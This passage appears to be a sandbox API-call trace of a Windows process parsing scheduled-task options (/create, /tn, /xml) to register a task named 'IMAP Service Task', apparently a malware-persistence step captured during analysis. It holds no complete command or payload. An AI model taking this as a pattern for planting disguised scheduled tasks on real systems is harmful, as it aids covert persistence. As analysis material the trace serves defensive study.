[0180.749] lstrlenW (lpString="|tn|") returned 4
[0180.749] SetLastError (dwErrCode=0x490)
[0180.749] lstrlenW (lpString="u") returned 1
[0180.749] lstrlenW (lpString="u") returned 1
[0180.749] _memicmp (_Buf1=0x304ba8, _Buf2=0xa91ed8, _Size=0x7) returned 0
[0180.750] lstrlenW (lpString="tn") returned 2
[0180.750] _memicmp (_Buf1=0x304bd8, _Buf2=0xa91ed8, _Size=0x7) returned 0
[0180.750] _vsnwprintf (in: _Buffer=0x305230, _BufferCount=0x4, _Format="|%s|", _ArgList=0x29ca2c | out: _Buffer="|u|") returned 3
[0180.750] _vsnwprintf (in: _Buffer=0x3051f0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x29ca2c | out: _Buffer="|tn|") returned 4
[0180.750] lstrlenW (lpString="|u|") returned 3
[0180.750] lstrlenW (lpString="|tn|") returned 4
[0180.750] SetLastError (dwErrCode=0x490)
[0180.750] lstrlenW (lpString="p") returned 1
[0180.750] lstrlenW (lpString="p") returned 1
[0180.750] _memicmp (_Buf1=0x304ba8, _Buf2=0xa91ed8, _Size=0x7) returned 0
[0180.750] lstrlenW (lpString="tn") returned 2
[0180.750] _memicmp (_Buf1=0x304bd8, _Buf2=0xa91ed8, _Size=0x7) returned 0
[0180.750] _vsnwprintf (in: _Buffer=0x305230, _BufferCount=0x4, _Format="|%s|", _ArgList=0x29ca2c | out: _Buffer="|p|") returned 3
[0180.750] _vsnwprintf (in: _Buffer=0x3051f0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x29ca2c | out: _Buffer="|tn|") returned 4
[0180.750] lstrlenW (lpString="|p|") returned 3
[0180.750] lstrlenW (lpString="|tn|") returned 4
[0180.750] SetLastError (dwErrCode=0x490)
[0180.750] lstrlenW (lpString="ru") returned 2
[0180.750] lstrlenW (lpString="ru") returned 2
[0180.750] _memicmp (_Buf1=0x304ba8, _Buf2=0xa91ed8, _Size=0x7) returned 0
[0180.750] lstrlenW (lpString="tn") returned 2
[0180.750] _memicmp (_Buf1=0x304bd8, _Buf2=0xa91ed8, _Size=0x7) returned 0
[0180.750] _vsnwprintf (in: _Buffer=0x305230, _BufferCount=0x5, _Format="|%s|", _ArgList=0x29ca2c | out: _Buffer="|ru|") returned 4
[0180.750] _vsnwprintf (in: _Buffer=0x3051f0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x29ca2c | out: _Buffer="|tn|") returned 4
[0180.750] lstrlenW (lpString="|ru|") returned 4
[0180.750] lstrlenW (lpString="|tn|") returned 4
[0180.750] StrStrIW (lpFirst="|ru|", lpSrch="|tn|") returned 0x0
[0180.750] SetLastError (dwErrCode=0x490)
[0180.750] lstrlenW (lpString="rp") returned 2
[0180.750] lstrlenW (lpString="rp") returned 2
[0180.750] _memicmp (_Buf1=0x304ba8, _Buf2=0xa91ed8, _Size=0x7) returned 0
[0180.750] lstrlenW (lpString="tn") returned 2
[0180.750] _memicmp (_Buf1=0x304bd8, _Buf2=0xa91ed8, _Size=0x7) returned 0
[0180.750] _vsnwprintf (in: _Buffer=0x305230, _BufferCount=0x5, _Format="|%s|", _ArgList=0x29ca2c | out: _Buffer="|rp|") returned 4
[0180.750] _vsnwprintf (in: _Buffer=0x3051f0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x29ca2c | out: _Buffer="|tn|") returned 4
[0180.750] lstrlenW (lpString="|rp|") returned 4
[0180.750] lstrlenW (lpString="|tn|") returned 4
[0180.750] StrStrIW (lpFirst="|rp|", lpSrch="|tn|") returned 0x0
[0180.750] SetLastError (dwErrCode=0x490)
[0180.750] lstrlenW (lpString="sc") returned 2
[0180.750] lstrlenW (lpString="sc") returned 2
[0180.750] _memicmp (_Buf1=0x304ba8, _Buf2=0xa91ed8, _Size=0x7) returned 0
[0180.750] lstrlenW (lpString="tn") returned 2
[0180.750] _memicmp (_Buf1=0x304bd8, _Buf2=0xa91ed8, _Size=0x7) returned 0
[0180.750] _vsnwprintf (in: _Buffer=0x305230, _BufferCount=0x5, _Format="|%s|", _ArgList=0x29ca2c | out: _Buffer="|sc|") returned 4
[0180.750] _vsnwprintf (in: _Buffer=0x3051f0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x29ca2c | out: _Buffer="|tn|") returned 4
[0180.750] lstrlenW (lpString="|sc|") returned 4
[0180.750] lstrlenW (lpString="|tn|") returned 4
[0180.750] StrStrIW (lpFirst="|sc|", lpSrch="|tn|") returned 0x0
[0180.750] SetLastError (dwErrCode=0x490)
[0180.750] lstrlenW (lpString="mo") returned 2
[0180.750] lstrlenW (lpString="mo") returned 2
[0180.751] _memicmp (_Buf1=0x304ba8, _Buf2=0xa91ed8, _Size=0x7) returned 0
[0180.751] lstrlenW (lpString="tn") returned 2
[0180.751] _memicmp (_Buf1=0x304bd8, _Buf2=0xa91ed8, _Size=0x7) returned 0
[0180.751] _vsnwprintf (in: _Buffer=0x305230, _BufferCount=0x5, _Format="|%s|", _ArgList=0x29ca2c | out: _Buffer="|mo|") returned 4
[0180.751] _vsnwprintf (in: _Buffer=0x3051f0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x29ca2c | out: _Buffer="|tn|") returned 4
[0180.751] lstrlenW (lpString="|mo|") returned 4
[0180.751] lstrlenW (lpString="|tn|") returned 4
[0180.751] StrStrIW (lpFirst="|mo|", lpSrch="|tn|") returned 0x0
[0180.751] SetLastError (dwErrCode=0x490)
[0180.751] lstrlenW (lpString="d") returned 1
[0180.751] lstrlenW (lpString="d") returned 1
[0180.751] _memicmp (_Buf1=0x304ba8, _Buf2=0xa91ed8, _Size=0x7) returned 0
[0180.751] lstrlenW (lpString="tn") returned 2
[0180.751] _memicmp (_Buf1=0x304bd8, _Buf2=0xa91ed8, _Size=0x7) returned 0
[0180.751] _vsnwprintf (in: _Buffer=0x305230, _BufferCount=0x4, _Format="|%s|", _ArgList=0x29ca2c | out: _Buffer="|d|") returned 3
[0180.751] _vsnwprintf (in: _Buffer=0x3051f0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x29ca2c | out: _Buffer="|tn|") returned 4
[0180.751] lstrlenW (lpString="|d|") returned 3
[0180.751] lstrlenW (lpString="|tn|") returned 4
[0180.751] SetLastError (dwErrCode=0x490)
[0180.751] lstrlenW (lpString="m") returned 1
[0180.751] lstrlenW (lpString="m") returned 1
[0180.751] _memicmp (_Buf1=0x304ba8, _Buf2=0xa91ed8, _Size=0x7) returned 0
[0180.751] lstrlenW (lpString="tn") returned 2
[0180.751] _memicmp (_Buf1=0x304bd8, _Buf2=0xa91ed8, _Size=0x7) returned 0
[0180.751] _vsnwprintf (in: _Buffer=0x305230, _BufferCount=0x4, _Format="|%s|", _ArgList=0x29ca2c | out: _Buffer="|m|") returned 3
[0180.751] _vsnwprintf (in: _Buffer=0x3051f0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x29ca2c | out: _Buffer="|tn|") returned 4
[0180.751] lstrlenW (lpString="|m|") returned 3
[0180.751] lstrlenW (lpString="|tn|") returned 4
[0180.751] SetLastError (dwErrCode=0x490)
[0180.751] lstrlenW (lpString="i") returned 1
[0180.751] lstrlenW (lpString="i") returned 1
[0180.751] _memicmp (_Buf1=0x304ba8, _Buf2=0xa91ed8, _Size=0x7) returned 0
[0180.751] lstrlenW (lpString="tn") returned 2
[0180.751] _memicmp (_Buf1=0x304bd8, _Buf2=0xa91ed8, _Size=0x7) returned 0
[0180.751] _vsnwprintf (in: _Buffer=0x305230, _BufferCount=0x4, _Format="|%s|", _ArgList=0x29ca2c | out: _Buffer="|i|") returned 3
[0180.751] _vsnwprintf (in: _Buffer=0x3051f0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x29ca2c | out: _Buffer="|tn|") returned 4
[0180.751] lstrlenW (lpString="|i|") returned 3
[0180.751] lstrlenW (lpString="|tn|") returned 4
[0180.751] SetLastError (dwErrCode=0x490)
[0180.751] lstrlenW (lpString="tn") returned 2
[0180.751] lstrlenW (lpString="tn") returned 2
[0180.751] _memicmp (_Buf1=0x304ba8, _Buf2=0xa91ed8, _Size=0x7) returned 0
[0180.751] lstrlenW (lpString="tn") returned 2
[0180.751] _memicmp (_Buf1=0x304bd8, _Buf2=0xa91ed8, _Size=0x7) returned 0
[0180.751] _vsnwprintf (in: _Buffer=0x305230, _BufferCount=0x5, _Format="|%s|", _ArgList=0x29ca2c | out: _Buffer="|tn|") returned 4
[0180.751] _vsnwprintf (in: _Buffer=0x3051f0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x29ca2c | out: _Buffer="|tn|") returned 4
[0180.751] lstrlenW (lpString="|tn|") returned 4
[0180.751] lstrlenW (lpString="|tn|") returned 4
[0180.751] StrStrIW (lpFirst="|tn|", lpSrch="|tn|") returned="|tn|"
[0180.752] SetLastError (dwErrCode=0x0)
[0180.752] SetLastError (dwErrCode=0x0)
[0180.752] lstrlenW (lpString="IMAP Service Task") returned 17
[0180.752] lstrlenW (lpString="-/") returned 2
[0180.752] StrChrIW (lpStart="-/", wMatch=0x49) returned 0x0
[0180.752] SetLastError (dwErrCode=0x490)
[0180.752] SetLastError (dwErrCode=0x490)
[0180.752] SetLastError (dwErrCode=0x0)
[0180.752] lstrlenW (lpString="IMAP Service Task") returned 17
[0180.752] StrChrIW (lpStart="IMAP Service Task", wMatch=0x3a) returned 0x0
[0180.752] SetLastError (dwErrCode=0x490)
[0180.752] SetLastError (dwErrCode=0x0)
[0180.752] lstrlenW (lpString="IMAP Service Task") returned 17
[0180.752] SetLastError (dwErrCode=0x0)
[0180.752] SetLastError (dwErrCode=0x0)
[0180.752] lstrlenW (lpString="/xml") returned 4
[0180.752] lstrlenW (lpString="-/") returned 2
[0180.752] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/"
[0180.752] lstrlenW (lpString="create") returned 6
[0180.752] lstrlenW (lpString="create") returned 6
[0180.752] _memicmp (_Buf1=0x304ba8, _Buf2=0xa91ed8, _Size=0x7) returned 0
[0180.752] lstrlenW (lpString="xml") returned 3
[0180.752] _memicmp (_Buf1=0x304bd8, _Buf2=0xa91ed8, _Size=0x7) returned 0
[0180.752] _vsnwprintf (in: _Buffer=0x305230, _BufferCount=0x9, _Format="|%s|", _ArgList=0x29ca2c | out: _Buffer="|create|") returned 8
[0180.752] _vsnwprintf (in: _Buffer=0x3051f0, _BufferCount=0x6, _Format="|%s|", _ArgList=0x29ca2c | out: _Buffer="|xml|") returned 5
[0180.752] lstrlenW (lpString="|create|") returned 8
[0180.752] lstrlenW (lpString="|xml|") returned 5
[0180.752] StrStrIW (lpFirst="|create|", lpSrch="|xml|") returned 0x0
[0180.752] SetLastError (dwErrCode=0x490)
[0180.752] lstrlenW (lpString="?") returned 1
[0180.752] lstrlenW (lpString="?") returned 1
[0180.752] _memicmp (_Buf1=0x304ba8, _Buf2=0xa91ed8, _Size=0x7) returned 0
[0180.752] lstrlenW (lpString="xml") returned 3
[0180.752] _memicmp (_Buf1=0x304bd8, _Buf2=0xa91ed8, _Size=0x7) returned 0
[0180.752] _vsnwprintf (in: _Buffer=0x305230, _BufferCount=0x4, _Format="|%s|", _ArgList=0x29ca2c | out: _Buffer="|?|") returned 3
[0180.752] _vsnwprintf (in: _Buffer=0x3051f0, _BufferCount=0x6, _Format="|%s|", _ArgList=0x29ca2c | out: _Buffer="|xml|") returned 5
[0180.752] lstrlenW (lpString="|?|") returned 3
[0180.752] lstrlenW (lpString="|xml|") returned 5
[0180.752] SetLastError (dwErrCode=0x490)
[0180.752] lstrlenW (lpString="s") returned 1
[0180.752] lstrlenW (lpString="s") returned 1
[0180.752] _memicmp (_Buf1=0x304ba8, _Buf2=0xa91ed8, _Size=0x7) returned 0
[0180.752] lstrlenW (lpString="xml") returned 3
[0180.752] _memicmp (_Buf1=0x304bd8, _Buf2=0xa91ed8, _Size=0x7) returned 0
[0180.752] _vsnwprintf (in: _Buffer=0x305230, _BufferCount=0x4, _Format="|%s|", _ArgList=0x29ca2c | out: _Buffer="|s|") returned 3
[0180.752] _vsnwprintf (in: _Buffer=0x3051f0, _BufferCount=0x6, _Format="|%s|", _ArgList=0x29ca2c | out: _Buffer="|xml|") returned 5
[0180.752] lstrlenW (lpString="|s|") returned 3
[0180.752] lstrlenW (lpString="|xml|") returned 5
[0180.752] SetLastError (dwErrCode=0x490)
[0180.752] lstrlenW (lpString="u") returned 1
[0180.752] lstrlenW (lpString="u") returned 1
[0180.752] _memicmp (_Buf1=0x304ba8, _Buf2=0xa91ed8, _Size=0x7) returned 0
[0180.753] lstrlenW (lpString="xml") returned 3
[0180.753] _memicmp (_Buf1=0x304bd8, _Buf2=0xa91ed8, _Size=0x7) returned 0
[0180.753] _vsnwprintf (in: _Buffer=0x305230, _BufferCount=0x4, _Format="|%s|", _ArgList=0x29ca2c | out: _Buffer="|u|") returned 3
[0180.753] _vsnwprintf (in: _Buffer=0x3051f0, _BufferCount=0x6, _Format="|%s|", _ArgList=0x29ca2c | out: _Buffer="|xml|") returned 5
[0180.753] lstrlenW (lpString="|u|") returned 3
[0180.753] lstrlenW (lpString="|xml|") returned 5
[0180.753] SetLastError (dwErrCode=0x490)
[0180.753] lstrlenW (lpString="p") returned 1
[0180.753] lstrlenW (lpString="p") returned 1
[0180.753] _memicmp (_Buf1=0x304ba8, _Buf2=0xa91ed8, _Size=0x7) returned 0
[0180.753] lstrlenW (lpString="xml") returned 3
[0180.753] _memicmp (_Buf1=0x304bd8, _Buf2=0xa91ed8, _Size=0x7) returned 0
[0180.753] _vsnwprintf (in: _Buffer=0x305230, _BufferCount=0x4, _Format="|%s|", _ArgList=0x29ca2c | out: _Buffer="|p|") returned 3
[0180.753] _vsnwprintf (in: _Buffer=0x3051f0, _BufferCount=0x6, _Format="|%s|", _ArgList=0x29ca2c | out: _Buffer="|xml|") returned 5
[0180.753] lstrlenW (lpString="|p|") returned 3
[0180.753] lstrlenW (lpString="|xml|") returned 5
[0180.753] SetLastError (dwErrCode=0x490)
[0180.753] lstrlenW (lpString="ru") returned 2
[0180.753] lstrlenW (lpString="ru") returned 2
[0180.753] _memicmp (_Buf1=0x304ba8, _Buf2=0xa91ed8, _Size=0x7) returned 0
[0180.753] lstrlenW (lpString="xml") returned 3
[0180.753] _memicmp (_Buf1=0x304bd8, _Buf2=0xa91ed8, _Size=0x7) returned 0
[0180.753] _vsnwprintf (in: _Buffer=0x305230, _BufferCount=0x5, _Format="|%s|", _ArgList=0x29ca2c | out: _Buffer="|ru|") returned 4
[0180.753] _vsnwprintf (in: _Buffer=0x3051f0, _BufferCount=0x6, _Format="|%s|", _ArgList=0x29ca2c | out: _Buffer="|xml|") returned 5
[0180.753] lstrlenW (lpString="|ru|") returned 4
[0180.753] lstrlenW (lpString="|xml|") returned 5
[0180.753] SetLastError (dwErrCode=0x490)
[0180.753] lstrlenW (lpString="rp") returned 2
[0180.753] lstrlenW (lpString="rp") returned 2
[0180.753] _memicmp (_Buf1=0x304ba8, _Buf2=0xa91ed8, _Size=0x7) returned 0
[0180.753] lstrlenW (lpString="xml") returned 3
[0180.753] _memicmp (_Buf1=0x304bd8, _Buf2=0xa91ed8, _Size=0x7) returned 0
[0180.753] _vsnwprintf (in: _Buffer=0x305230, _BufferCount=0x5, _Format="|%s|", _ArgList=0x29ca2c | out: _Buffer="|rp|") returned 4
[0180.753] _vsnwprintf (in: _Buffer=0x3051f0, _BufferCount=0x6, _Format="|%s|", _ArgList=0x29ca2c | out: _Buffer="|xml|") returned 5
[0180.753] lstrlenW (lpString="|rp|") returned 4
[0180.753] lstrlenW (lpString="|xml|") returned 5
[0180.753] SetLastError (dwErrCode=0x490)
[0180.753] lstrlenW (lpString="sc") returned 2
[0180.753] lstrlenW (lpString="sc") returned 2
[0180.753] _memicmp (_Buf1=0x304ba8, _Buf2=0xa91ed8, _Size=0x7) returned 0
[0180.753] lstrlenW (lpString="xml") returned 3
[0180.753] _memicmp (_Buf1=0x304bd8, _Buf2=0xa91ed8, _Size=0x7) returned 0
[0180.753] _vsnwprintf (in: _Buffer=0x305230, _BufferCount=0x5, _Format="|%s|", _ArgList=0x29ca2c | out: _Buffer="|sc|") returned 4
[0180.753] _vsnwprintf (in: _Buffer=0x3051f0, _BufferCount=0x6, _Format="|%s|", _ArgList=0x29ca2c | out: _Buffer="|xml|") returned 5
[0180.753] lstrlenW (lpString="|sc|") returned 4
[0180.753] lstrlenW (lpString="|xml|") returned 5
[0180.753] SetLastError (dwErrCode=0x490)
[0180.753] lstrlenW (lpString="mo") returned 2
[0180.753] lstrlenW (lpString="mo") returned 2
[0180.753] _memicmp (_Buf1=0x304ba8, _Buf2=0xa91ed8, _Size=0x7) returned 0
[0180.753] lstrlenW (lpString="xml") returned 3
[0180.753] _memicmp (_Buf1=0x304bd8, _Buf2=0xa91ed8, _Size=0x7) returned 0
[0180.754] _vsnwprintf (in: _Buffer=0x305230, _BufferCount=0x5, _Format="|%s|", _ArgList=0x29ca2c | out: _Buffer="|mo|") returned 4
[0180.754] _vsnwprintf (in: _Buffer=0x3051f0, _BufferCount=0x6, _Format="|%s|", _ArgList=0x29ca2c | out: _Buffer="|xml|") returned 5
[0180.754] lstrlenW (lpString="|mo|") returned 4
[0180.754] lstrlenW (lpString="|xml|") returned 5
[0180.754] SetLastError (dwErrCode=0x490)
[0180.754] lstrlenW (lpString="d") returned 1
[0180.754] lstrlenW (lpString="d") returned 1
[0180.754] _memicmp (_Buf1=0x304ba8, _Buf2=0xa91ed8, _Size=0x7) returned 0
[0180.754] lstrlenW (lpString="xml") returned 3
[0180.754] _memicmp (_Buf1=0x304bd8, _Buf2=0xa91ed8, _Size=0x7) returned 0
[0180.754] _vsnwprintf (in: _Buffer=0x305230, _BufferCount=0x4, _Format="|%s|", _ArgList=0x29ca2c | out: _Buffer="|d|") returned 3
[0180.754] _vsnwprintf (in: _Buffer=0x3051f0, _BufferCount=0x6, _Format="|%s|", _ArgList=0x29ca2c | out: _Buffer="|xml|") returned 5
[0180.754] lstrlenW (lpString="|d|") returned 3
[0180.754] lstrlenW (lpString="|xml|") returned 5
[0180.754] SetLastError (dwErrCode=0x490)
[0180.754] lstrlenW (lpString="m") returned 1
[0180.754] lstrlenW (lpString="m") returned 1
[0180.754] _memicmp (_Buf1=0x304ba8, _Buf2=0xa91ed8, _Size=0x7) returned 0
[0180.754] lstrlenW (lpString="xml") returned 3
[0180.754] _memicmp (_Buf1=0x304bd8, _Buf2=0xa91ed8, _Size=0x7) returned 0
[0180.754] _vsnwprintf (in: _Buffer=0x305230, _BufferCount=0x4, _Format="|%s|", _ArgList=0x29ca2c | out: _Buffer="|m|") returned 3
[0180.754] _vsnwprintf (in: _Buffer=0x3051f0, _BufferCount=0x6, _Format="|%s|", _ArgList=0x29ca2c | out: _Buffer="|xml|") returned 5
[0180.754] lstrlenW (lpString="|m|") returned 3
[0180.754] lstrlenW (lpString="|xml|") returned 5
[0180.754] SetLastError (dwErrCode=0x490)
[0180.754] lstrlenW (lpString="i") returned 1
[0180.754] lstrlenW (lpString="i") returned 1
[0180.754] _memicmp (_Buf1=0x304ba8, _Buf2=0xa91ed8, _Size=0x7) returned 0
[0180.754] lstrlenW (lpString="xml") returned 3
[0180.754] _memicmp (_Buf1=0x304bd8, _Buf2=0xa91ed8, _Size=0x7) returned 0
[0180.754] _vsnwprintf (in: _Buffer=0x305230, _BufferCount=0x4, _Format="|%s|", _ArgList=0x29ca2c | out: _Buffer="|i|") returned 3
[0180.754] _vsnwprintf (in: _Buffer=0x3051f0, _BufferCount=0x6, _Format="|%s|", _ArgList=0x29ca2c | out: _Buffer="|xml|") returned 5
[0180.754] lstrlenW (lpString="|i|") returned 3
[0180.754] lstrlenW (lpString="|xml|") returned 5
[0180.754] SetLastError (dwErrCode=0x490)
[0180.754] lstrlenW (lpString="tn") returned 2
[0180.754] lstrlenW (lpString="tn") returned 2
[0180.754] _memicmp (_Buf1=0x304ba8, _Buf2=0xa91ed8, _Size=0x7) returned 0
[0180.754] lstrlenW (lpString="xml") returned 3
[0180.754] _memicmp (_Buf1=0x304bd8, _Buf2=0xa91ed8, _Size=0x7) returned 0
[0180.754] _vsnwprintf (in: _Buffer=0x305230, _BufferCount=0x5, _Format="|%s|", _ArgList=0x29ca2c | out: _Buffer="|tn|") returned 4
[0180.754] _vsnwprintf (in: _Buffer=0x3051f0, _BufferCount=0x6, _Format="|%s|", _ArgList=0x29ca2c | out: _Buffer="|xml|") returned 5
[0180.754] lstrlenW (lpString="|tn|") returned 4
[0180.754] lstrlenW (lpString="|xml|") returned 5
[0180.754] SetLastError (dwErrCode=0x490)
[0180.754] lstrlenW (lpString="tr") returned 2
[0180.754] lstrlenW (lpString="tr") returned 2
[0180.754] _memicmp (_Buf1=0x304ba8, _Buf2=0xa91ed8, _Size=0x7) returned 0
[0180.754] lstrlenW (lpString="xml") returned 3
[0180.754] _memicmp (_Buf1=0x304bd8, _Buf2=0xa91ed8, _Size=0x7) returned 0
[0180.754] _vsnwprintf (in: _Buffer=0x305230, _BufferCount=0x5, _Format="|%s|", _ArgList=0x29ca2c | out: _Buffer="|tr|") returned 4
[0180.754] _vsnwprintf (in: _Buffer=0x3051f0, _BufferCount=0x6, _Format="|%s|", _ArgList=0x29ca2c | out: _Buffer="|xml|") returned 5
[0180.755] lstrlenW (lpString="|tr|") returned 4
[0180.755] lstrlenW (lpString="|xml|") returned 5
[0180.755] SetLastError (dwErrCode=0x490)
[0180.755] lstrlenW (lpString="st") returned 2
[0180.755] lstrlenW (lpString="st") returned 2
[0180.755] _memicmp (_Buf1=0x304ba8, _Buf2=0xa91ed8, _Size=0x7) returned 0
[0180.755] lstrlenW (lpString="xml") returned 3
[0180.755] _memicmp (_Buf1=0x304bd8, _Buf2=0xa91ed8, _Size=0x7) returned 0
[0180.755] _vsnwprintf (in: _Buffer=0x305230, _BufferCount=0x5, _Format="|%s|", _ArgList=0x29ca2c | out: _Buffer="|st|") returned 4
[0180.755] _vsnwprintf (in: _Buffer=0x3051f0, _BufferCount=0x6, _Format="|%s|", _ArgList=0x29ca2c | out: _Buffer="|xml|") returned 5
[0180.755] lstrlenW (lpString="|st|") returned 4
[0180.755] lstrlenW (lpString="|xml|") returned 5
[0180.755] SetLastError (dwErrCode=0x490)
[0180.755] lstrlenW (lpString="sd") returned 2
[0180.755] lstrlenW (lpString="sd") returned 2
[0180.755] _memicmp (_Buf1=0x304ba8, _Buf2=0xa91ed8, _Size=0x7) returned 0
[0180.755] lstrlenW (lpString="xml") returned 3
[0180.755] _memicmp (_Buf1=0x304bd8, _Buf2=0xa91ed8, _Size=0x7) returned 0
[0180.755] _vsnwprintf (in: _Buffer=0x305230, _BufferCount=0x5, _Format="|%s|", _ArgList=0x29ca2c | out: _Buffer="|sd|") returned 4
[0180.755] _vsnwprintf (in: _Buffer=0x3051f0, _BufferCount=0x6, _Format="|%s|", _ArgList=0x29ca2c | out: _Buffer="|xml|") returned 5
[0180.755] lstrlenW (lpString="|sd|") returned 4
[0180.755] lstrlenW (lpString="|xml|") returned 5
[0180.755] SetLastError (dwErrCode=0x490)
[0180.755] lstrlenW (lpString="ed") returned 2
[0180.755] lstrlenW (lpString="ed") returned 2
[0180.755] _memicmp (_Buf1=0x304ba8, _Buf2=0xa91ed8, _Size=0x7) returned 0
[0180.755] lstrlenW (lpString="xml") returned 3
[0180.755] _memicmp (_Buf1=0x304bd8, _Buf2=0xa91ed8, _Size=0x7) returned 0
[0180.755] _vsnwprintf (in: _Buffer=0x305230, _BufferCount=0x5, _Format="|%s|", _ArgList=0x29ca2c | out: _Buffer="|ed|") returned 4
[0180.755] _vsnwprintf (in: _Buffer=0x3051f0, _BufferCount=0x6, _Format="|%s|", _ArgList=0x29ca2c | out: _Buffer="|xml|") returned 5
[0180.755] lstrlenW (lpString="|ed|") returned 4
[0180.755] lstrlenW (lpString="|xml|") returned 5
[0180.755] SetLastError (dwErrCode=0x490)
[0180.755] lstrlenW (lpString="it") returned 2
[0180.755] lstrlenW (lpString="it") returned 2
[0180.755] _memicmp (_Buf1=0x304ba8, _Buf2=0xa91ed8, _Size=0x7) returned 0
[0180.755] lstrlenW (lpString="xml") returned 3
[0180.755] _memicmp (_Buf1=0x304bd8, _Buf2=0xa91ed8, _Size=0x7) returned 0
[0180.755] _vsnwprintf (in: _Buffer=0x305230, _BufferCount=0x5, _Format="|%s|", _ArgList=0x29ca2c | out: _Buffer="|it|") returned 4
[0180.755] _vsnwprintf (in: _Buffer=0x3051f0, _BufferCount=0x6, _Format="|%s|", _ArgList=0x29ca2c | out: _Buffer="|xml|") returned 5
[0180.755] lstrlenW (lpString="|it|") returned 4
[0180.755] lstrlenW (lpString="|xml|") returned 5
[0180.755] SetLastError (dwErrCode=0x490)
[0180.755] lstrlenW (lpString="et") returned 2
[0180.755] lstrlenW (lpString="et") returned 2
[0180.755] _memicmp (_Buf1=0x304ba8, _Buf2=0xa91ed8, _Size=0x7) returned 0
[0180.755] lstrlenW (lpString="xml") returned 3
[0180.755] _memicmp (_Buf1=0x304bd8, _Buf2=0xa91ed8, _Size=0x7) returned 0
[0180.755] _vsnwprintf (in: _Buffer=0x305230, _BufferCount=0x5, _Format="|%s|", _ArgList=0x29ca2c | out: _Buffer="|et|") returned 4
[0180.755] _vsnwprintf (in: _Buffer=0x3051f0, _BufferCount=0x6, _Format="|%s|", _ArgList=0x29ca2c | out: _Buffer="|xml|") returned 5
[0180.755] lstrlenW (lpString="|et|") returned 4
[0180.755] lstrlenW (lpString="|xml|") returned 5
[0180.755] SetLastError (dwErrCode=0x490)
[0180.756] lstrlenW (lpString="k") returned 1
[0180.756] lstrlenW (lpString="k") returned 1
[0180.756] _memicmp (_Buf1=0x304ba8, _Buf2=0xa91ed8, _Size=0x7) returned 0
[0180.756] lstrlenW (lpString="xml") returned 3
[0180.756] _memicmp (_Buf1=0x304bd8, _Buf2=0xa91ed8, _Size=0x7) returned 0
[0180.756] _vsnwprintf (in: _Buffer=0x305230, _BufferCount=0x4, _Format="|%s|", _ArgList=0x29ca2c | out: _Buffer="|k|") returned 3
[0180.756] _vsnwprintf (in: _Buffer=0x3051f0, _BufferCount=0x6, _Format="|%s|", _ArgList=0x29ca2c | out: _Buffer="|xml|") returned 5
[0180.756] lstrlenW (lpString="|k|") returned 3
[0180.756] lstrlenW (lpString="|xml|") returned 5
[0180.756] SetLastError (dwErrCode=0x490)
[0180.756] lstrlenW (lpString="du") returned 2
[0180.756] lstrlenW (lpString="du") returned 2
[0180.756] _memicmp (_Buf1=0x304ba8, _Buf2=0xa91ed8, _Size=0x7) returned 0
[0180.756] lstrlenW (lpString="xml") returned 3
[0180.756] _memicmp (_Buf1=0x304bd8, _Buf2=0xa91ed8, _Size=0x7) returned 0
[0180.756] _vsnwprintf (in: _Buffer=0x305230, _BufferCount=0x5, _Format="|%s|", _ArgList=0x29ca2c | out: _Buffer="|du|") returned 4
[0180.756] _vsnwprintf (in: _Buffer=0x3051f0, _BufferCount=0x6, _Format="|%s|", _ArgList=0x29ca2c | out: _Buffer="|xml|") returned 5
[0180.756] lstrlenW (lpString="|du|") returned 4
[0180.756] lstrlenW (lpString="|xml|") returned 5
[0180.756] SetLastError (dwErrCode=0x490)
[0180.756] lstrlenW (lpString="ri") returned 2
[0180.756] lstrlenW (lpString="ri") returned 2
[0180.756] _memicmp (_Buf1=0x304ba8, _Buf2=0xa91ed8, _Size=0x7) returned 0
[0180.756] lstrlenW (lpString="xml") returned 3
[0180.756] _memicmp (_Buf1=0x304bd8, _Buf2=0xa91ed8, _Size=0x7) returned 0
[0180.756] _vsnwprintf (in: _Buffer=0x305230, _BufferCount=0x5, _Format="|%s|", _ArgList=0x29ca2c | out: _Buffer="|ri|") returned 4
[0180.756] _vsnwprintf (in: _Buffer=0x3051f0, _BufferCount=0x6, _Format="|%s|", _ArgList=0x29ca2c | out: _Buffer="|xml|") returned 5
[0180.756] lstrlenW (lpString="|ri|") returned 4
[0180.756] lstrlenW (lpString="|xml|") returned 5
[0180.756] SetLastError (dwErrCode=0x490)
[0180.756] lstrlenW (lpString="z") returned 1
[0180.756] lstrlenW (lpString="z") returned 1
[0180.756] _memicmp (_Buf1=0x304ba8, _Buf2=0xa91ed8, _Size=0x7) returned 0
[0180.756] lstrlenW (lpString="xml") returned 3
[0180.756] _memicmp (_Buf1=0x304bd8, _Buf2=0xa91ed8, _Size=0x7) returned 0
[0180.756] _vsnwprintf (in: _Buffer=0x305230, _BufferCount=0x4, _Format="|%s|", _ArgList=0x29ca2c | out: _Buffer="|z|") returned 3
[0180.756] _vsnwprintf (in: _Buffer=0x3051f0, _BufferCount=0x6, _Format="|%s|", _ArgList=0x29ca2c | out: _Buffer="|xml|") returned 5
[0180.756] lstrlenW (lpString="|z|") returned 3
[0180.756] lstrlenW (lpString="|xml|") returned 5
[0180.756] SetLastError (dwErrCode=0x490)
[0180.756] lstrlenW (lpString="f") returned 1
[0180.756] lstrlenW (lpString="f") returned 1
[0180.756] _memicmp (_Buf1=0x304ba8, _Buf2=0xa91ed8, _Size=0x7) returned 0
[0180.756] lstrlenW (lpString="xml") returned 3
[0180.756] _memicmp (_Buf1=0x304bd8, _Buf2=0xa91ed8, _Size=0x7) returned 0
[0180.756] _vsnwprintf (in: _Buffer=0x305230, _BufferCount=0x4, _Format="|%s|", _ArgList=0x29ca2c | out: _Buffer="|f|") returned 3
[0180.756] _vsnwprintf (in: _Buffer=0x3051f0, _BufferCount=0x6, _Format="|%s|", _ArgList=0x29ca2c | out: _Buffer="|xml|") returned 5
[0180.756] lstrlenW (lpString="|f|") returned 3
[0180.756] lstrlenW (lpString="|xml|") returned 5
[0180.756] SetLastError (dwErrCode=0x490)
[0180.756] lstrlenW (lpString="v1") returned 2
[0180.756] lstrlenW (lpString="v1") returned 2
